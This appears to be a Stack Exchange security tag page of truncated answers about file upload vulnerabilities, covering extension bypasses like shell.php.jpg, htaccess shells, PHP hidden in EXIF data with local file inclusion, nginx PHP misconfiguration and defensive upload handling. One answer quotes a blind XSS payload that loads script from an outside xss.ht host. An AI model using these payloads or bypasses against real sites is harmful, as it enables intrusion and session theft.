8

Could there exist some site that is vulnerable in this way? Sure, obviously. If the server takes the user-supplied file name and tries to emit it, unescaped, into the document, you'll get XSS. Same as any other user-supplied data. Is the particular site you're looking at, or indeed any site on the whole Internet right now, vulnerable? We have no way to know ...


6

shell.php.jpg should be treated as a .jpg file You're exploring DVWA, so not every should be means is. If I had to guess, the upload script properly checks the extension of the file and allows it, but the webserver doesn't check it the same way and allows execution. You can learn more by exploring web server's (nginx or apache) config files, look for a ...


5

This is... strange. My guess is that you are right in that this is some sort of protection mechanism, but it doesn't look like a very stable one. A better approach would be to block files with .php or similar extensions, and on top of that turn off PHP execution in that folder. So can this be exploited, and if so, how? I am not sure, but here are a few ...


3

Have you tried using a directive based file upload such a self contained htaccess she'll like my htshells project: https://github.com/wireghoul/htshells


3

This is not strictly an Nginx problem, but rather is an issue with old versions of PHP. It has been fixed for quite a long while (I'm not sure exactly what version, but it certainly isn't a concern with PHP 7.0). The answers to this question: https://serverfault.com/q/627903/377662 Explain the underlying issue and solution in detail. The short answer is ...


3

No! Almost all modern browsers change the path to something like C:\fakepath\filename.ext in order to protect your privacy.


3

WinSCP can synchronize a folder to (individually) encrypted files on the cloud. It also uses SFTP instead of the often flaky synchronization programs offered by cloud storage providers. https://winscp.net/eng/docs/file_encryption FTPS is not yet supported (https://winscp.net/forum/viewtopic.php?t=26434). The great feature of WinSCP is that the encryption ...


2

Browser security controls prevent client-side scripts from accessing the full path of local resources. JS running inside the context of a browser by default has no access to the file system. HTML5 provides an API as mentioned in this answer but apparently anonymizes/sanitize output at the browser level.


2

The fact that you can upload a JSP file is in itself not a vulnerability. Particularly, if the file contents are put in a database there is no actual JSP file on disk. Therefore, it can't be placed in the webroot and it won't be executed. If the file is written to disk and you can put it in an arbitrary location, there is a risk. If you failed to exploit ...


2

First off, you don't have to tamper with the request. Some PHP code could be simply written in EXIF fields or any other metadata field. Or even just bluntly added to the actual binary code of the image before upload. It means that, in fact, uploading some PHP code is not big deal by itself. I would say most sites allowing image uploads allow it whatsoever. ...


2

Let people store anything they want, rename the file to something random (SHA1 of random long number is enough), move them off the server root, and record the new name and original name on a database, taking care of sanitizing the filename. List files using the original names on the filename (again take care with sanitization), and use PHP fpassthru or ...


1

That depends entirely on the file in question. For example, if you want to enable users to just upload plain text files, then it may be enough to check if there are any unprintable characters in the file. If you allow users to upload images, you have to make sure that the files are actually images. This is best done with tools like ImageMagick. This list ...


1

You handle the upload with POST requests to a PHP script which checks the file extension and renames the file You should check the mime type. PHP have mime_content_type function for that. Even if it's possible to fool the mime header and have some code on the metadata of the file, this raises the bar for exploiting your system. If I understand correctly, ...


1

I can see two different possibilities: There is an actual error in your PHP code that leads to the 500 response. The simple echo test should check for this. An empty file would be an even better test. Even though PHP is only blocked in a certain folder, the configuration does not have to be in that folders .htaccess. An .htaccess file in some parent folder ...


1

If the server is refusing to execute a php script on the uploads folder but runs php scripts elsewhere, it sounds like the server is working as it should. You'll need to use one of those other directories to pop and explore.


1

The issue is that most often people configure their PHP block like this: location ~ '\.php' { include fastcgi.conf; include fastcgi_params; fastcgi_param HTTP_PROXY ""; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param QUERY_STRING $...


1

There's three different concerns that get conflated a lot: You need to make sure the server can't be tricked into executing code. You need to make sure the server can't be tricked into serving a user-uploaded file with a Content-Type (html, svg, xml) that allows Javascript to execute within the site's origin when a user accesses the file. Optionally you ...


1

That line does not impact file upload security, it only sets the HTTP response mime type. The reasoning I can see for the author using text/plain instead of text/html is simply that this script does not contain any actual HTML in the possible response messages. Although the possible responses in this particular script do not echo any user input that I can ...


1

Correct, if the hash is provided on the website next to the download then it does nothing. If the hash is provided over a separate channel, especially if something reliably archives the hash that was published when the binary was published, then it provides some security. Not as much security as a digital signature, but some. So hashes published in archives ...


1

A good resource for payloads in general is "payload all the things": https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss I don't see why most of their blind XSS payloads wouldn't work for your target: Are XML attributes parsed as HTML attributes? <html:script src=//yoursubdomain.xss.ht>prompt(document.domain);...


1

This site is vulnerable, if the following assumptions are correct: example.com has something to attack (data you want to retrieve that only other users can see, or actions you want to take that only other users can take). example.com uses cookies (without the samesite flag) or HTTP authentication (basic or digest) for session management, instead of using ...


1

In situations like these where you have full control over where the files get output, it might be best to turn your attention towards potential LFI vulnerabilities. It's unlikely you'll bypass the extension suffix, but if you're able to get PHP code into the JPG EXIF data, you can use LFI to include that PHP. The next suggestion I would make is to check ...


1

If parsing and storing fragments in the database is the only thing you do, I can think of the following attack scenarios: Attacking the parser: An attacker could use unexpected ascii/unicode-chars or bytes and try to derail your flow of execution during the parsing process. Attacking the DBMS with file content: An attacker could store values in the csv, ...


1

A dangerous code present in a file can be ran no matter where the file resides. But if the file is non-exe/script one (like a text) then there must be something else infiltrated to be able to execute the content. Advanced attacks can store the file pretty much anywhere, run code from there and then remove the initial file. Doing that in-memory leaves a lot ...


1

I think you're not missing something, and in my opinion there is no way to testify that an image is 100% clean unless you analyze it by hand, I'd say adding MIME validation (in both client and server side) is a step to do before validating against magic number, this will eliminate some script kiddies :) Now if you really want to reduce your attack surface, ...


Only top voted, non community-wiki answers of a minimum length are eligible